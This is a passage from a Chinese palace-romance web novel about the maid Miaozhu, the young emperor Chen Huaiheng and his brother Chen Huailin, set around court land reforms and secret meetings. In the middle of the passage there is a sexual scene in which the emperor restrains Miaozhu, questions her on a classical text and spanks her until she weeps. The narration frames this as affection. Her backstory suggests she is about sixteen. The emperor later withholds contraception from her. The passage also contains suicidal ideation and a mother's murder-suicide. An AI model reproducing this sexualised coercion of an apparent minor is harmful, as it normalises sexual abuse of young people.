陈怀衡可以控制她的人,可他别想控制她的心了,她给过他,他最后就那样待她,她也不会再将自己的人和心都寄托到他的身上了。 她就是要关心陈怀霖,而且,她就是故意在卿云面前泄露出她的小心思。 这是她无声的反抗,在背地里头上不得台面的反抗。 卿云惊讶于妙珠的想法,她没想到,老实巴交的小姑娘,还敢去想那些事,她道:“妙珠,你不要命了呀?” 妙珠叹了口气,道:“卿云姐,我会小心的。” 她会小心不被陈怀衡发现的。 卿云:“” 她觉得妙珠有些疯了。 人压抑太久,果然是会疯的。 就在这时,陈怀衡的銮驾回来了,随之而来的,竟还有内阁的几位大臣,司礼监的掌印太监黄坚白,以及陈怀霖。 雪不知是什么时候落大了,那群人迎着风雪乌泱泱的过来。 卿云见这么多人过来,扯了把妙珠,示意她千万不要再提那事,见过陈怀霖也千万不要漏出什么马脚来。 妙珠自然是知道的,不仅是她知道,陈怀霖也知道。 他们两人就像是从未曾在那天的宫道中见过面,他们之间就像是没有任何瓜葛,然而,两人的心境所发生的变化,世人不知,又只有他们自己知道,这种天知地知你知我知的感觉,又将他们又拉得更近。 如果人拥有了一个共同的秘密,他们的关系不可能不更近。 妙珠和卿云恭迎这些贵人们进了殿,才下早朝,怕这些贵人还没用过早膳,卿云又去喊尚膳监多备了些吃食糕点过来。 妙珠在一旁给他们添了热茶,在给陈怀霖倒茶之时,妙珠能感觉到陈怀衡的视线,她面不改色,陈怀霖也面不改色。 倒完了茶水,妙珠便退出了殿内,他们内阁开会,后面要商议政事,她不便待在此地。 卿云送完糕点之后,便同妙珠一块备在一旁的值房中。 卿云给她留了两块糕点,塞到她的手上:“你也还没用过早膳,填填肚子先。” 妙珠道了声谢,接过糕点就开始小口吃了起来。 卿云知道不该再说那事,可还是没忍住道:“怎么想的?这么突然。” “突然吗?”妙珠问。 其实也不是很突然,只是卿云不知道他们多有缘分罢了。 在中秋那会她和陈怀霖就已经见过面了。 卿云道:“当真不怕死?” 就连她都看得出来,陈怀衡现在是对妙珠上了心的,她在背地里头存了这些心思,真是不怕死? 妙珠捧着糕点一点一点啃着,她竟笑了,她道:“我娘死前,告诉我,小乞小乞,你活不下去的话,也要慢慢死。” 妙珠其实觉得自己早该死了,在八歲那年,小妹死了,母亲死了,她就该死了。 八岁那年,还有着毁天灭地,和老天去作对的心气,可是如今活了另外一个八岁,竟只剩下心如古井,再怎么晃荡,也没了声息。 就因着那句慢慢死,一直苟活到现在。 现在回想这几年人生,能对自己说的也就只有抱歉。 妙珠抿着入口即化的糕点,想起了小妹,她对卿云道:“姐,我可能不曾和你说过,我还有个妹妹。她就小我一岁,七岁那年就死了,就因为中秋节偷了别人一块月饼,然后就叫人打得半死不活,哎,那么小一个人,就那么一点点大的人,你说说,他们下得去那些手呢?小妹死在我的怀里,一下子就没了气” 妙珠觉得口中糕点忽然变得苦涩了起来,一直到现在她都不明白,不就是一块月饼吗?他们,他们怎么能就那样要了小妹的命呢? 她还给他们不行吗,她当牛做马,她还给他们不行吗。 那他们把小妹还给行不行,能不能把小妹还给她。 她喉咙哽咽,含着月饼囫囵道:“后来啊,后来我娘也死在了我的怀里,是我和嬷嬷一起把她埋了的。她这辈子,千人骑万人胯,就连清醒日子也没过过几日。你知道吗,我一直觉着她就是不折不扣的大傻子,我羡慕她什么都能不知道,可是,直到她拿着菜刀砍死了外祖,后来又砍死了自己的时候,我才知道,她实在是太痛苦了,痛苦了一辈子。你说说,她死了就死了,还非给我留那么一句话,实在是太坏了。” 妙珠道:“我被慢慢死这三个字,吊着气活了 八年,可是姐,我不想继续这么委屈自己了。” 太苦了。 如果生命尝得出味道,那妙珠的这十几年,真的苦不堪言。 她从没有那么浓烈地生出想要逃离陈怀衡的心,可是,她意识到,如果下半辈子,都困在乾清宫里头,那倒不如现在死,也不用慢慢死了。 卿云听到妙珠絮絮叨叨的话,也觉心酸,忍不住背过身去拭淚。 妙珠抱住了卿云,她靠在她的身上,道:“姐,你别哭啊,其实也不苦了,毕竟都过去那么多年了的事了。” 说什么过去这么多年,过去这么多年就能忘了吗。 卿云终于没再劝她了,没劝她不要再去对陈怀霖生出什么念想,也没劝她什么活下去不活下去的话。 有些人,走到如今,真的是已经尽了力了,你再去逼着她继续走下去了,那也是一种残忍。 主殿那处,大约过了一个时辰才散,今日这场雪落得确实及时,给陈怀衡提供了一定的便捷,这场会议之后,新政的方针已经基本有了大概,人选也基本确定,等今年过完年后,就先从户部派些人去丈量田地。 本朝自前朝时土地兼并就已十分严重,小民要纳天下之税,可地主豪绅所兼土地数不胜数,若长此以往下去,不出多久,便是不用外敌,大昭自己也能从里头先烂掉。 在前朝,还有一个重大问题,便是宗禄,皇生皇子,皇子又成王爷,王爷又生小王爷的,王、郡王又是一个极其庞大的群体,这些人都要岁禄,上至万石,下至百石,巨大的开销也足以支空国库,不过,本朝相较于前朝已经好上太多,先帝的兄弟也不多,现存的皇子王爷娶妻生子的更不多,这事本也要议,后来户部的尚书拿着算盘算了算,最后还是算了。 关于田地一事,便先如此,从年后开始就要慢慢推行下去,先去查地,再进一步进行清算。 还有另外一件重要的事,便是考成法。 前任林首輔在世时,曾提过这个,他活着时,考成法推行过一段时日,他让六科监督六部,而他监督六科,这样一来,便将全体官員监督在了自己的眼皮子底下。 然而,他不是律法,仅凭一人也无法做出绝对准确又客观的判断,所有官員的罢黜升迁全在他一人的眼皮子底下进行,也招致了全体官员的记恨。 就这样,考成法没能推行多久,随着林首輔的弃市一起被废除了。 而今陈怀衡再提起考成法,让他们又重新想起了被前任首辅支配的恐惧,严密的考核制度曾叫那些在场的几位阁老都觉苦不堪言,就连现任首辅陆鸿仪也深受毒害。 相比已经故去的首辅来说,皇帝的手段只会比他更加狠辣一些,考成法遭致了所有官员们明里的反对,他们不想再让当初的悲剧重演。 不过,好在陈怀衡今日的重心还是放在丈量土地之上,在那些阁员坚决地否定了考成法后,他再提出丈量土地一事便轻松了许多。 皇帝和群臣进行了一个月的拉锯,陆鸿仪期间不是没有想过法子阻挠,可在最后,这事论定,就还是只能由着他亲自提笔拟章,写定了章程。 说到底,他也只是个当官的呀,哪里拦得住铁了心的皇帝? 等人散完了之后,妙珠回了主殿。 他心情瞧着不错,手肘撑靠在桌案上,手腕托着下颌,他问她道:“早上和卿云去挂灯笼了?” “嗯。” 他自己不是都瞧见了吗。 陈怀衡道:“落雪了,年快到了。” 陈怀衡说起了闲话,妙珠收拾着底下那些人用过的茶盏,嘴上有一句没一句的答着,直到陈怀衡道:“过些时日带你出宫瞧瞧。” 临近过年的那段时日是京城最热闹的一段时日了,上回既说带她出宫看看,那自也不是临时兴起哄骗她的。 陈怀衡没那闲功夫专门说些讨人开心的去哄人,他也不会。 刚好他也久没出宫了。 妙珠听到他的话,臉上也浮现了几分喜气,听说能出宫了,瞧着很是高兴。 陈怀衡也忍不住笑了一声,却问她:“真高兴假高兴?” 他不知道自己近段时日究竟是怎么回事,就连他都觉得自己有些疑神疑鬼了。 妙珠分明分明这般顺从他了,他却又想着法的不放心她,总觉她心中还有些旁的念头。 疑神疑鬼不是一个好习惯,很多的皇帝在晚年间都曾因为这个毛病犯下过不少过错。 他才十八岁。 怎么也开始这样了。 陈怀衡在此刻更加清楚的意识到,妙珠她确实影响到了自己的心神。 他再不承认,也必须承认。 妙珠听到他的话,笑得更真切了一些,她道:“自然是真高兴,陛下不是知道的吗,奴婢也很想出宫看看的。” 她先前和他说过的,可是,他说,你出去就只要挨打的份,就不要再想了。 所以,妙珠便也没能再想过那件事了,可现在陈怀衡既主动提起,她不去也白不去。 陈怀衡听到这话,终也噤了声没有再问。 到了傍晚的时候,外头的雪已经堆上了厚厚一层,夕阳落在银白的雪堆上,洁白与火红的夕阳交错,呈现出一片旖旎的色调。 陈怀衡似也没有忘记继续让妙珠讀书一事,今晨解决了一桩麻烦事,他便又腾出了空,用过晚膳后,就让妙珠搬了条凳子坐在他的身边,桌案很大,把奏折腾去一旁,空出了大块的位置给她。 妙珠看着书,却心不在焉。 陈怀衡转眼瞥她,见她的心思不知道落到哪里去了,手指头扣弄着书页,眼睛也不知提溜转哪里去了,若非是他还坐在旁边,她怕早就趴下睡觉了。 这便又让陈怀衡弄不懂她了。 从前死活都要讀,抄了大半天的书也要讀,可现在再给她讀,竟提不起一点兴致。 陈怀衡揪了一把她的臉,硬生生把她飘走的思绪扯了回来:“叫你读书,你又在想些什么?” 妙珠被他扯去面向了他,听到陈怀衡的话,竟笑了笑,眼睛都笑成一条缝了。 陈怀衡道:“小傻子,想到了什么东西笑成这样,说出来叫朕也乐一乐。” 妙珠就像是寻到了什么高兴的事,脸上那笑,情真意切,看得都晃人眼。 妙珠道:“陛下不是说,奴婢不用读书的吗?陛下不是说,礼义廉耻,奴婢维持不起吗?” 从前的时候,要她读书的是他,后来,要她别读书的也是他,到了现在,他又要她读书。 阴晴不定是他,反覆无常也是他。 陈怀衡脸上的表情凝固了些许,他现在可以确定,妙珠就是故意在刺他。 他道:“从前的事又何必翻来覆去地提,我现在要你读,你读就是了。你同我算旧账?那从前的时候你又总说,‘陛下是我的天’,你现在又可曾真的全心全意将我当做你的天了?” 他半是责难半是质问,这些事情从他那张颠倒黑白的嘴巴里面说出来倒像是妙珠的错了。 妙珠晓得他无耻,可现下还是被他这话弄得气结无言。 她脸上表情再维持不住,收敛了下来,看向他的眼神藏了几分不可察觉的怨恨,怕叫陈怀衡读懂她的情绪,她马上就瞥开了头去,重新看向了面前的书。 她闷声道:“既陛下要奴婢读书,读就是了。” 何须说那些话没由得来恶心她? 她不明白了,这些书她又什么好读,读了也没廉耻,读了也平白叫人觉着难受。 陈怀衡看她不情不愿看起了书,心中的气就这么叫她一下子堵住,想撒也撒不出,卡在胸口不上不下,最后,他嘴角强行扯出了一抹冷笑,道:“行,你且好好读着,一会我来抽查,答不出你便乖乖受罚。” 妙珠懒得理他,左右就是那些折磨人的法子,她稀稀拉拉“嗯”了一声,便不再理会他,书到底也还是不肯看,眼睛在上面随便扫过,心思跑到了旁的地方。 一直到了亥时,陈怀衡终于说要歇息了,妙珠见他没再提起什么抽查的事,便以为他 这是看奏折看忘了,她自不会去提醒他,见他上了榻便想转身离开,可连身都还不曾转,就直接叫陈怀衡一把抓到了床上去。 妙珠推搡他了一把,却很快就被他按住双手扒了个干净,没办法,她只好不断恳求他轻一些。 说“不要”他是不会听的,可说轻一些,他倒是多多少少会听一些的。 陈怀衡没理会她,将她转了个身,在榻上按着跪好。 两人自然而然就做起了那事,妙珠本以为他是忘记了说的抽查的事,可陈怀衡弄着弄着却突然从身后开了口。 他问她:“方才可是认真看书了吧,我抽你几道题,若是答不上来,那便怪不了我了。” 他可没有故意想要惩罚她的意思,可如果是她自己答不上来,那就怪不得他了。 再说,他刚刚已经提醒过她了,待会要抽查她。 妙珠半伏半跪在榻上,双手勉力撑着,整个身子都快被他弄得起伏不定,听到他那淡薄的声音传入耳中,更是一个头两个大,什么东西非要在这种时候抽查? 他抽什么?查什么? 妙珠还没来得及反驳他,陈怀衡就先开了口:“虎兕出于柙,龟玉毁于椟中,是谁之过也?这话是什么意思?” 妙珠本想辩驳的话先被他的提问堵在嘴巴里面,没法,只好先去思考他提出的问题。 虎兕出于柙,龟玉毁于椟中。 她记得这东西卿云从前是教过她的,可陈怀衡这样弄着,她哪里还能想得起来那些东西呢? “虎兕出于柙是是”她颤着声道:“你停下来先,你先不动” 陈怀衡哪里理她,自顾自道:“这话是问,老虎和犀牛从笼子里跑出,龟甲和玉器在匣子里毁坏,这是谁的过错呢?学而时习之,你看看你,不记得温习,便忘了个精光,还好意思说认真读了。” 妙珠想说些什么,可是下一刻,臀上就挨了一掌,妙珠吃痛,嘤咛出声,她扭过头去斥他:“你干嘛呢!” 陈怀衡淡淡吐出两字。 “惩罚。” 和妙珠的溃不成军相比,陈怀衡此刻冷静的真的就像是一个师长,唯独额间凸显的青筋昭显着他那隐忍的情绪。 妙珠终于明白了陈怀衡口中所说的惩罚是何意。 原来,在这里等着她呢。 妙珠咬着唇,强忍着不泄出难堪的声音,她抗议道:“你这样问,谁都答不出来的。” 陈怀衡看着她臀上那个红彤彤的掌印,嘴角轻轻勾起了一抹弧度。 没用。 抗议无效。 陈怀衡不管不顾又抛了几个问题出去。 答不上来,妙珠一个都答不上来。 很快,臀上就感觉火辣辣一片疼,她叫陈怀衡气得哭了,一句话也不吭了,任他打着,陈怀衡听到她的啜泣声,才终于没继续那所谓的“惩罚”。 他知这次弄得是有些过分了,那片白嫩尽是他的掌印,最后也不再忍耐,不住发出一声闷哼,草草结束。 事后,他将妙珠转过来看,就见她的那张小脸上尽是淚。 得了,给人欺负成这样。 他把人抱进了怀中,给她擦眼泪,道:“别哭了” 然而,这泪怎么都擦不干净。 那一串串的泪就跟小珍珠一样往下掉,陈怀衡忍不住凑过去亲她的脸,亲着亲着,就从脸上碰到了唇,开始吮吸着她的唇瓣,妙珠终于有了反应,张口就恶狠狠地咬了他一口。 陈怀衡不料她突然发作,猝不及防就挨了她一口,血腥味很快就弥漫了整个口腔,可他就像不知道痛似的,仍旧痴缠,不肯退出,他还把他的血渡给他,把她泪吃进来。 他们血水交融。 直到妙珠快喘不上气了,他才终于松开了她,一边又拍着她的背顺气。 妙珠好不容易才喘上了气,陈怀衡又伸出食指,沾了唇瓣上的血,伸进了她的口中,妙珠张口又想咬下去,陈怀衡察觉她的意图,长指压住了她的舌根。 他道:“你看看朕的嘴也叫你咬破了,明个儿怎么见人?你那屁股打着疼罢了,留不下伤的,这事咱们就当扯平了。” 他又真没那么混账,在床上有些打人的癖好,这种东西对他来说不过是情。趣罢了,手上自收着分寸。 看妙珠哭得可怜,难得善心大发,抱着她坐在自己身上,有一下没一下拍着她的背,殿里头都是地炕的热气,两人光。裸着身子也不觉冷。 妙珠的哭声终于止住了些许,陈怀衡又问起了她最开始的那个问题:“为什么现在不爱读书了?” 从前的时候不是很想读的吗?现在读个书,反倒是不开心了。 妙珠不明白,为什么他还要来问这样的问题呢?她方才不是已经给过他答案了吗。 她道:“陛下自己说过的” 陈怀衡道:“不要说怄气的话。” 妙珠道:“没有怄气。” 她有什么好去和他怄气的呢。 第39章 第三十九章你不用当小宫女了,就要当…… 没什么好怄气的。 无非是经历了那些事后,觉得陈懷衡说的那些话也确实在理,她读书除了让自己难受,还能怎么样?她想要礼义廉耻就能够要嗎?读了书,让她生出些羞耻心来,除了让她更痛苦之外,没有任何的好处了。 陈懷衡道:“那些话气头上说的你要一直记到现在?” 他就说了那么一句,一直叫她念叨到现在。 那回他被陈懷霖的事情气上了头,说话难免难听了些,谁知她一直记,一直记到现在。 他这人确实如妙珠指控得那般,左右摇摆、阴晴不定,一会要她读,一会又不要她读,至于其中缘由,去问陈懷衡,他自己也未必弄得清楚为何如此。 不过,唯一一个可以确认的是,他就要她乖乖待着,不要想些别的東西。 当初不想她读书,是想她乖乖待在他的身边,不要生出旁的心思;现如今让她读书,也是为了让她老实听话。 他知道她还是不大服气上次他罚她抄书的事,就连施宁煦都知道妙珠在因为这事埋怨他,既如此,她心里头有那想法,他自得全了她的心,管她现在面上跟他拗着,心里头想读不就是了嗎。 她不要读,那陈怀衡也给她把书递过去,她往后也不能够再提那件事了。 为什么呢?为什么就非要驯服那么一个不大听话的小宮女呢? 这个突然出现在脑海中的问题叫陈怀衡自己都有些心惊。 不过,很快就又被他抛之脑后。 既看得顺眼顺心,留着就是了,何须去想那些古怪的、触及不到的東西呢。 这样想着,把那些恼人的情绪丢到了身后,陈怀衡又畅快了些許,他低头亲了亲妙珠的眼睛,鼻子,嘴巴,把泪亲干净了,才终于抱着人去净身了。 等到第二日的时候,陈怀衡去上朝后,妙珠起身去寻了卿雲,她一如往常,去寻她要避子汤喝。 上回陈怀衡说不要再喝这東西了,妙珠嘴上應得痛快,心里头却没把这当一回事,他现在说得话,妙珠听一半丢一半。 只是,卿雲却道:“上回你那月事过后,陛下就不让华太医再给你开避子药了,也不叫我再端给你喝。” 妙珠恳求道:“姐,你悄悄地,悄悄地弄一碗来也不成嗎” 卿雲无奈道:“华太医受了陛下的令,开不出药来了,那我也没办法了。” 太医不开药,她总也没办法隔空弄出避子药来啊。 妙珠也明白她的意思了,陈怀衡不松口,这事就没转圜之地了。 她打算等他下朝回来去说这事。 陈怀衡没多久就回来了。 他一回来,妙珠就凑上去献殷勤,殷勤献完之后,她就直接开门见山要避子汤。 陈怀衡早就料到她定要不死心来提这事,从进门起看她那鞍前马后的样就瞧出来了。 他接过了她端来的温茶,茶香氤氲,在空中散出了一道水雾,手指随意地在杯盏上画圈,他久不出声,妙珠也不知他在想些什么,以为他想到了别处去,便又出声提醒了他一遍:“陛下,避子汤” 话还不曾说完,就叫陈怀衡兀地打断。 “上回说过,不要喝了。” 妙珠又问出了那个足够叫人沉默的问题,她淡声问道:“现下不喝,往后肚子大了,是要喝落子汤嗎。” 陈怀衡将杯盏搁到了桌上,发出一声脆响,他道:“有了就生。” 有了就生。 陈怀衡那日过后,也去细细思索了这个问题,若真有了,那该如何? 最后答案显而易见,就如他今日所说,有了便生下,没什么好纠结。 如今他膝下无子,就算多出了一个孩子也不会叫人说些什么,至于妙珠的身份那更不是问题了,若她有孩子,他自可以借着由头让他母凭子贵,有孩子在前,他立她为妃也决计没人能来反对。 这事情操作起来对他没什么难度,对于大臣来说,在子嗣面前,其余的一切都是小事,若是妙珠真有了孕,没有任何人能逼迫她落胎,而接下来立妃一事更是水到渠成。 以往的时候,太。祖皇帝还专选些平民人家的女子为后呢。 嗯所以最后陈怀衡便这样想好,有了便生,没什么大不了的。 妙珠又哪里知道陈怀衡心中在想些什么,听到他的话,只觉他是疯了,她道:“陛下是在说笑吗?” 陈怀衡表情如常,眉眼一如以往那般平静漠然,只有那双丹凤眼中透出一丝微不可见的柔情,他又一次重复道:“有了便生,没什么大不了。” 他将她拉得更近一些,把玩揉搓着她冰凉的手,视线落在她的手上,轻笑了一声,道:“你乖一点,到时候生了孩子之后,不论男女,我给你封个妃子当当,到时候妙珠你就母凭子贵了,开心吗?” 你不用当小宮女了,就要当皇帝的妃子了,你开心吗,嗯? 陈怀衡说完这话,却也不曾抬头去看妙珠,他就像是在自说自话。 她一定会开心的。 所以,他也不需要她的回答。 如果陈怀衡抬眼,他一定就能看到她那藏不住的幽怨的眼神,可是,不知道是故意的又还是无意的,他从始至终都低着头不看她。 今日早朝散了之后,陆首辅就去寿宁宮中寻了太皇太后。 近日已经定下了重新清丈田地一案,只待来年开春,户部的人就开始在全国各地办起这事,如此一来,地主豪贵们多少要被牵连,在朝廷里面当官的,除了个别个干净得两袖清风的,哪些个手上没些地?这举一出,多少招致了大多数人的不满。 本以为这事一拖再拖,又恰逢天不落雪,便能搁置了下去,谁知那老天一降雪,陈怀衡就说这是祥瑞,莫名其妙地又引到了新政上去,一来二去的,就莫名定下开春之后全国清丈田地。 陆鸿仪现在回想起来,就觉这事莫名其妙,莫名其妙就定了下来。 他捋着胡子,蹙着眉对太皇太后道:“皇上是个极有主意的人啊,再说,又有协王在一旁帮衬着他,我们这些个人,哪里说得过他俩?” 想起陈怀霖,陆鸿仪语气之中也隐隐带了不满,他道:“协王当初早该就藩,娘娘何必,何必留他在京呢。” 太皇太后沉默良久,末了也只道:“当初的事又何必再提,谁知他心如此澄明,竟能做到这样的地步。” 怎么都以为他该有些怨言的,留他在京城,多少也是为了给陈怀衡寻不痛快,可不想,两个人竟能如此和善。 事情已经定下了,这事现在再说也没什么用,也没再继續就这事说下去了。 陆鸿仪想起了今晨早朝的事,便向太皇太后问道:“皇上身边是有女人了?” “怎说?” 原是今日早朝时候,群臣都看到了陈怀衡嘴唇上的痕迹了,有些大胆的问了一嘴,陈怀衡也只推说是乾清宮的猫抓的。 乾清宫有没有猫旁人不清楚,才刚去过的陆鸿仪能不清楚吗? 况说,陈怀衡也不是个会养猫的性子,思来想去,能在上嘴唇那地方弄出痕迹的,除了女人,也没旁人了,总别说是陈怀衡自己给自己咬的。 果不其然,太皇太后听了他的话也呵笑了一声:“乾清宫有猫吗?这么些年了,我倒是没见过一只。” 陈怀衡还叫人咬破了嘴? 他叫人咬破了嘴,却也没有听说乾清宫有什么人死了,又或者是出了什么事,想来陈怀衡也是没把这事放在心上。 这也真是稀奇了,这样踩到他头上也行。 会是谁呢? 除了妙珠外还会是谁呢。 未曾想那次的三十板子没将她的心打死,她竟还那般死心塌地跟在陈怀衡身边,果然是没骨气。不过,胆子也大那么一些了,倒还敢咬人了。 他们那些床帏里头的事,哪里脱得过太皇太后的眼睛,即便没有探子再给她传消息来,可仅凭这几十年的阅历,猜也猜出些大概来了。 莫名想起了她的那个早死的儿子,陈怀衡和他那没用的爹一样,净是喜欢一些身份低贱的小猫小狗。 太皇太后忍不住讥讽发笑,道:“瞧瞧这皇家,净出些痴情种来呢。” 多有意思的事。 太皇太后没再继續说这事,陆首辅为她斟了一盏,递过去给了她。 “茶凉了,娘娘用些熱的。” 太皇太后接过,笑道:“这么些年,便只有你是个有良心的。” 陆首辅也没接这客套话,太皇太后酌了一口茶后,就由着陆鸿仪扶她起了身往窗边走去,两人开窗,看向了屋外堆着的厚厚的积雪,后苑里面挺立着几枝鲜艳的红梅,在冰天雪地之中格外艳丽,就像是血滴一样缀在的雪海之中。 仁宗爱赏梅,从小到大,总喜欢数着梅花算日子。 以往仁宗的寝宫外也种着一片的红梅。 太皇太后的脑海中兀地响起了已经死去多年的仁宗的声音,他的声音先是稚嫩,而后一声一声变得苍老沙哑,他那稚嫩的童颜,逐渐变成了苍老的面孔,在眼前一下一下闪过。 “母后母后,梅花开了,又一年过去了。” “母后,我死后,你要放过幺儿,你答應我,要留下他的命。” “幺儿啊,苦命的幺儿,你要放过他,母后,我听了你一辈子的话,你一定要放过幺儿。” 太皇太后猛地抽回了自己的思绪,想起了儿子那令人心折的面孔,她的双腿竟都有些发软,她的手指抓住了窗台,一点点用力收拢,强撑着站住。 她道:“梅花开了,又一年过去了。” “娘娘,梅花早就开了。” * 乾清宫的白玉兰也在这个雪季凋得彻底。 后苑那里本是种着梅花,后来先帝离世之后,就被太皇太后命人铲了那片红梅,改种白玉兰,一直到后来,陈怀衡懒得管后苑的花草,而宫人们也不敢去动,这便一直留着这颗玉兰树。 白玉兰顶不住苦寒,现下只剩一截光秃秃的枝干屹立在雪地之中。 同殿外的冰天雪地不同,殿内如同春日一般温暖。 殿里头熱气足得很,穿一件单薄的外裳都不觉会冷。 妙珠这两日格外乖顺,那日陈怀衡说过让她不要再喝避子 汤之后,她竟什么也没说,什么也没闹,就那样應了下来。 她的乖顺自然得到了陈怀衡给她的奖励,陈怀衡见她老实,对她在床上提出的要求也都大度應下。 她想要去哪里,或者说做些什么,只要不过火,陈怀衡都应了下来。 年关已至,卿云在乾清宫忙前忙后,妙珠说着想要一块帮她忙活。 陈怀衡说妙珠是闲得没事干了,有这功夫倒不如去精进精进她的厨艺,下次别再端那种难喝死人的汤过来。 他想要一口就去回绝掉她这无聊的要求,可是话还没说出口,妙珠就凑上去亲他。 陈怀衡给她那么一亲,想说些什么倒是忘记了,最后只边亲边含含糊糊地答应了她。 行吧行吧,不想待他身边了,想跟在卿云身边玩了,那去吧。 可是,你白日野够了,晚上还是要回来的。 所以,这么些天白日里头,妙珠便跑没了人影,大多时候和卿云在外头不知忙活着些什么東西,只到了晚上才终于肯回来。 已经十二月二十五了,再过几日就是除夕,天上断断续续飘了好几日的大雪终于小下来了一些,妙珠一如往常和卿云打了个招呼就出了乾清宫去。 在卿云的掩护下,她从乾清宫出去便传不到陈怀衡的耳朵里了,就算是叫他知道了,那也只管推说是在办事。 陈怀衡大概也想不到听话胆小的妙珠会做出“私会”这样的事来,再加之她近些时日实在有些会哄人,他更加放纵于她。 有了他的放纵,她又不在他眼皮子底下待着,轻轻松松就玩过了火。 不过,她现在已经全然不在意这些了。 把生死抛之脑外,烂命一条,爱怎样就怎么样。 被陈怀衡发现了会死?那也无所谓。 妙珠心中还有极其隐秘的私心,她倒是巴不得陈怀衡能发现这些。 他最记恨旁人背叛他,她平日和陈怀霖说两句话他都能气得跳脚,她现在做的事可比之前严重太多,他大概能气得掐死她。 自从那日和陈怀霖在深宫甬道偶然碰见的那一面,两人之间心照不宣地捅破了他们之间隔着的那层薄纸,见面的次数也逐渐多了起来。 陈怀霖会借着和陈怀衡商议政事进宫,有时会在寻陈怀衡之前和妙珠见面,有时会在寻完了陈怀衡之后去和妙珠见面。 这日午后,在乾清宫被留下用过午膳之后,陈怀霖便告退离开。 他离开这里之后,去了御花园处的后山,御花园平日偶会有护卫往来,不过,躲藏在后山那里,便能躲过大部分的巡视,若是不幸被发现了,那也无妨,陈怀霖好歹是个王爷,和宫女说两句话还说不得了吗? 他们有时会在后山,有时会在其他的地方。 在这皇宫之中,有太多的地方可以躲藏。 妙珠沉溺于这一场场偷偷摸摸的私会中,一部分是因为真的敬仰喜爱这个高潔的公子,还有一部分就是报复陈怀衡。 陈怀霖是为什么呢?好像是因为妙珠说想见见他,所以他就来了。 没有什么旁的缘由了。 至于又为什么会对妙珠生出这种情绪,那又是一件很复杂,很难阐述的事情了。 但他自己也清楚的知道,其中或許少不了陈怀衡的缘故。 对 也有陈怀衡的缘故。 因为妙珠是他的婢女,是他的女人。 他当然知道他们两人之间的关系了,也正是因为如此,才对妙珠更说不出拒绝。 十三岁那年,父皇最器重的长子却没登基为帝,他怎么可能不心伤。 可是心伤也永远不能说出口,那些情绪到头也只能埋藏在心底最深最深的地方。 日久经年,生根发芽。 妙珠是个好姑娘,第一眼见她的时候他就知道了。 那她就不该被陈怀衡欺负不是吗?所以,他这样做也根本就没有什么不对的地方。 不过,他也是个极守礼的人,和陈怀衡那样的人又不大一样,陈怀衡想到什么,使尽一切方才都要得到,女人的身体,女人的心,他都要,贪心得没话说,可陈怀霖不是,他和妙珠相识,唯一一次出格的举动,就是那天在她哭得伤心之时,摸了摸她那双绝望的眼。 因为那一次伸手,然后啊,就把这么多年习得君子礼仪都跟着丢了干干净净。 两人的肩头都落了些雪花,陈怀霖纤长的眼睫上也凝了些冰晶,把他的那双桃花眼衬得更多情漂亮。 他忽地出声,对妙珠问:“妙珠,他对你好吗?” 想也知道,哪里会好啊,就是陈怀霖撞见过,他都总是在欺负她,也不只是他在欺负她,他身边的朋友也在欺负她。 妙珠道:“殿下,你都知道的。” 陈怀霖笑了笑。 妙珠又想起了件事,问他:“陛下在为您择妻了是吗?” 陈怀霖点了点头,道:“我都不喜欢。” 他没什么喜欢的人,没什么喜欢的事,自从兄长死后、母妃死后,就一直一个人待在王府上了。 陈怀衡给陈怀霖挑的妻子,或许他自己是心中满意的人,也或许是他不满意的人。 陈怀霖也不知道他在选人的时候,有没有在其中存着故意恶心他的心思,故意挑一些其实不大让人满意的的人。 他们之间一直暗流涌动,暗藏杀机。 对于这种微妙,两人其实也都心知肚明。 陈怀霖难得说了一句油腔滑调的话,他笑了一声,对妙珠道:“妙珠,她们都没你好。” 即便他们现在的关系不大干净,但陈怀霖口中说的这话,还是叫妙珠觉得羞怯,她咬了咬唇,还是和陈怀霖开诚布公,她道:“殿下,我和他已经” 陈怀霖轻笑:“我知道。” 妙珠问他:“殿下不在意贞潔?” 世人对贞潔二字尤为看重,贞洁好像是一个女人最重要的东西,母亲好像就是因为失了贞洁,然后就成了村子里面最低贱最低贱的人。 陈怀霖仰头看着天上的飘雪,雪花落进了他的眼睛,很冰,冰得他泛酸,眼睛酸得难受,他不再看天,低头看向了妙珠,他伸手为她拂去了肩头的雪,道:“贞洁是女人身上最没用的东西啦。” 贞洁二字,就像是缚在女人身上的一道枷锁,男人可以三妻四妾,而女人和男人多说一句话就能被人的唾沫淹死,其实这是不公平的,很不公平的,陈怀霖很早就意识到男人女人的不公平之处。 就如他的皇祖母,陈怀霖想,如果她是个男子 而且如果在意贞洁,在意这些,他今日也根本就不会站在这里了。 陈怀霖的话和这世俗相悖,妙珠听到之后,如死水般的心被狠狠地拨了一下。 一直到妙珠回去乾清宫之后也仍旧在想着陈怀霖说的那些话。 他大概也看出了妙珠眼中的心碎,他还说:“大家生下来都是人,你成了奴婢,那决计不是你的过错,因位卑者是永远不用对自己的卑贱负责的。” “妙珠,永远不要忘记自己生来为人的事实。” 永远不要忘记你生来为人的事实。 永远不要。 妙珠和卿云对过了“口供”,便去了主殿寻陈怀衡,今日回来的有些晚了,若再不去寻他,他就该起疑心了。 陈怀衡还没用过晚膳,见妙珠回来之后,才传了膳食过来,让她坐下一道用膳。 饭菜还没端来,陈怀衡见她脸颊被风吹得通红,大掌搓着她的脸问道:“这是跑哪里吹风去了?脸吹成这样。” 妙珠的脸叫他搓得变形,嘴巴都叫他搓得要嘟起来,她想要抓开陈怀衡的手,可他偏就像是寻到了什么有趣的事,怎么着都不肯撒手,没法,妙珠拗不过他,便也只好就这样同他说话了。 她用事先想好的说辞应答他:“跑去二十四监 一趟,盯着他们准备些东西而已。” 她在见陈怀衡之前,先行去过二十四监,便是陈怀衡真的让人去查,她也不心虚。 陈怀衡听后也没继续问下去,妙珠的脸终于叫他焐熱,只是看着比方才更红了一些,殿里头热气太足了一些,妙珠身上穿着厚厚的衣裳,没一会额间就闷出了细细的汗珠,妙珠想把外裳脱了,给陈怀衡按住,他淡声道:“脱了就着凉。” 妙珠辩道:“殿里头太热了,受不了了。” 陈怀衡道:“那也得过会再脱,这乍冷乍热的,你一下子脱了外裳,又受得住?” 她能受得住什么,到时候没个两天别又染上风寒。 到时候一整个年都过得头昏脑涨。 妙珠拗不过他,最后也不再说了,只闷闷地坐在一旁,陈怀衡撇眼一看受气包又不吭声,把桌案上的一盏荔枝推到了她的面前。 一盏荔枝入了妙珠眼帘。 